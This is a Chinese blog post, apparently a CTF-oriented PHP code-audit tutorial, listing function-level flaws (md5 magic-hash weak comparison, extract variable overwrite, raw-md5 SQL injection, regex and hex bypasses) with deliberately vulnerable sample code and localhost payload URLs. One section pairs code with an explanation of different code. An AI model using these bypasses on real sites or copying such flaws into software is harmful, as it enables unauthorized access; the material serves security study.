Ethan's Blog

php代码审计之函数漏洞审计(下)

字数统计: 2.3k阅读时长: 10 min
2019/03/13 Share

前言

此篇文件属于代码审计篇的一个环节,其意图是为总结php常见函数漏洞,分为上下两节,此为下节!此篇与命令注入绕过篇和sql注入回顾篇同属一个系列!欢迎各位斧正!

[TOC]

正文

sha1 和 md5 函数

md5 和 sha1 无法处理数组,返回 NULL

1
2
3
4
5
6
if (@sha1([]) ==  false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
echo var_dump(@md5([]))

参考payload

若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:

1
http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708

因为==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0
也可以使用数组绕过

1
http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2

但此处是===,只能用数组绕过,PHP对数组进行hash计算都会得出null的空值

1
`http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2
preg_match

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

1
2
3
4
5
6
7
8
9
<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}

?>
parse_str

与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域

1
2
3
4
*//var.php?var=new*  
$var='init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
字符串比较

== 是弱类型的比较,以下比较都为 true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php  
echo 0 == 'a' ;// a 转换为数字为 0 重点注意

// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388' ;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;

// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef' == ' 0xABCdef';
echo '0010e2' == '1e3';
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

?>
变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//key.php?aaaa'aaa=1&bb'b=2

//print_R($_GET);

foreach ($_GET AS $key => $value)

{

print $key."\n";

}

?>
extract()变量覆盖

extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖!

1
2
3
4
5
6
7
8
9
10
11
<?php  
$auth = '0';
// 这里可以覆盖$auth的变量值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}

?>
1
2
3
4
5
6
7
8
<?php  
$a='hi';
foreach($_GET as $key => $value) {
echo $key;
$$key = $value;
}
print $a;
?>

参考payload

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}

?>

payload:http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1

绕过过滤的空白字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

die("have a fun!!"); //die — 等同于 exit()

}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}

if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{

$info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

```
$info = "number must be equal to it's integer!! ";
```

}
else
{

```
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
```

}

echo $info;

可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。

http://127.0.0.1/Php_Bug/02.php?number=%00%0c191

资料:

md5()引发的注入
1
2
3
4
5
6
7
8
9
10
11
<?php
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
?>

MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入。
payload:ffifdyop

1
2
3
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转换成字符串后为
'or'6�]��!r,��b�

md5加密相等绕过

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}

?>

题解:

1
http://127.0.0.1/Php_Bug/13.php?a=240610708

==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

1
2
3
4
5
6
7
8
9
10
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391

把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。

同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

资料:

数字验证正则绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

题解:

0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $password)`
意为必须是12个字符以上(非空格非TAB之外的内容)

1
2
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr))

意为匹配到的次数要大于6次

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

意为必须要有大小写字母,数字,字符内容三种与三种以上

1
if ("42" == $password) echo $flag;

意为必须等于42

答案:

1
2
3
42.00e+00000000000 

420.000000000e-1

资料:

md5函数验证绕过
1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>

题解:

if(md5($temp)==0)要使md5函数加密值为0`

  • 方法一:
    使password不赋值,为NULLNULL == 0true
    http://127.0.0.1/php_bug/23.php?password=
    http://127.0.0.1/php_bug/23.php
  • 方法二:
    经过MD5运算后,为0e******的形式,其结果为0*10n次方,结果还是零
    http://127.0.0.1/php_bug/23.php?password=240610708
    `http://127.0.0.1/php_bug/23.php?password=QNKCDZO
十六进制与数字比较绕过

栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

题解:

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

1
2
echo  dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de

构造:
`http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

后记

此篇为PHP函数漏洞审计下篇,总结了一些常见函数漏洞,并结合了CTF题目进行分析!PHP代码审计系列还会继续,希望大家能有所收获!不积硅步,无以至千里!

CATALOG
  1. 1. 前言
  2. 2. 正文
    1. 2.1. sha1 和 md5 函数
    2. 2.2. preg_match
    3. 2.3. parse_str
    4. 2.4. 字符串比较
    5. 2.5. 变量本身的key
    6. 2.6. extract()变量覆盖
    7. 2.7. 绕过过滤的空白字符
    8. 2.8. md5()引发的注入
    9. 2.9. md5加密相等绕过
    10. 2.10. 数字验证正则绕过
    11. 2.11. md5函数验证绕过
    12. 2.12. 十六进制与数字比较绕过
  3. 3. 后记